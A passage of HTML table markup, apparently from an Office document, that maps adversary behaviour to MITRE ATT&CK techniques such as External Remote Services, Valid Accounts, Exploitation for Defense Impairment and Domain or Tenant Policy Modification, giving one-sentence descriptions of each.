-webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"></span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="318405904" paraeid="{42c4b488-20d8-40a0-a604-b288b56a5928}{11}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1133 External Remote Services</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="782008292" paraeid="{42c4b488-20d8-40a0-a604-b288b56a5928}{18}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="none" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; color: rgb(0, 0, 0); background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" data-ccp-charstyle="normaltextrun" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may </span><span class="NormalTextRun SCXW158619120 BCX4" data-ccp-charstyle="normaltextrun" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">leverage</span><span class="NormalTextRun SCXW158619120 BCX4" data-ccp-charstyle="normaltextrun" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise </span><span class="NormalTextRun SCXW158619120 BCX4" data-ccp-charstyle="normaltextrun" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">network resources from external locations.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; color: rgb(0, 0, 0); -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="15" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="1311487091" paraeid="{1003f9a6-fe20-49bf-b5e6-04eb2aa1b0d4}{139}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"></span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="685030503" paraeid="{42c4b488-20d8-40a0-a604-b288b56a5928}{33}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1078 Valid Accounts</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="72122325" paraeid="{42c4b488-20d8-40a0-a604-b288b56a5928}{40}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="none" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; color: rgb(0, 0, 0); background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" data-ccp-charstyle="normaltextrun" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">The adversary may compromise a valid account to move through the network to </span><span class="NormalTextRun SCXW158619120 BCX4" data-ccp-charstyle="normaltextrun" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">additional</span><span class="NormalTextRun SCXW158619120 BCX4" data-ccp-charstyle="normaltextrun" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> systems.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; color: rgb(0, 0, 0); -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="16" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1518947509" paraeid="{42c4b488-20d8-40a0-a604-b288b56a5928}{48}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Defense </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Impairment</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> (TA0</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">112</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">)&#x202F;</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1615895810" paraeid="{24389f93-3538-4e43-8bdb-8ecd6a3e3f7c}{10}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1687 Exploitation for Defense Impairment</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="262425879" paraeid="{4d2111ef-e67f-45fd-9a3d-44dde43016a7}{1}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may exploit vulnerabilities in security software, infrastructure, or defensive components to degrade, disable, or otherwise continue to impair their ability to prevent, detect, or respond to malicious activity.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="17" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="232026812" paraeid="{937f3b6d-5816-4932-83cc-67127bacf49f}{200}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"></span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="787318162" paraeid="{42c4b488-20d8-40a0-a604-b288b56a5928}{111}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="none" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; color: rgb(0, 0, 0); background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1078 Valid Accounts</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; color: rgb(0, 0, 0); -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1764359453" paraeid="{42c4b488-20d8-40a0-a604-b288b56a5928}{118}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="none" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; color: rgb(0, 0, 0); background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; color: rgb(0, 0, 0); -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="18" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="450329556" paraeid="{937f3b6d-5816-4932-83cc-67127bacf49f}{203}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"></span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="712868867" paraeid="{42c4b488-20d8-40a0-a604-b288b56a5928}{151}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="none" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; color: rgb(0, 0, 0); background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1484 Domain or Tenant Policy Modification</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; color: rgb(0, 0, 0); -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" 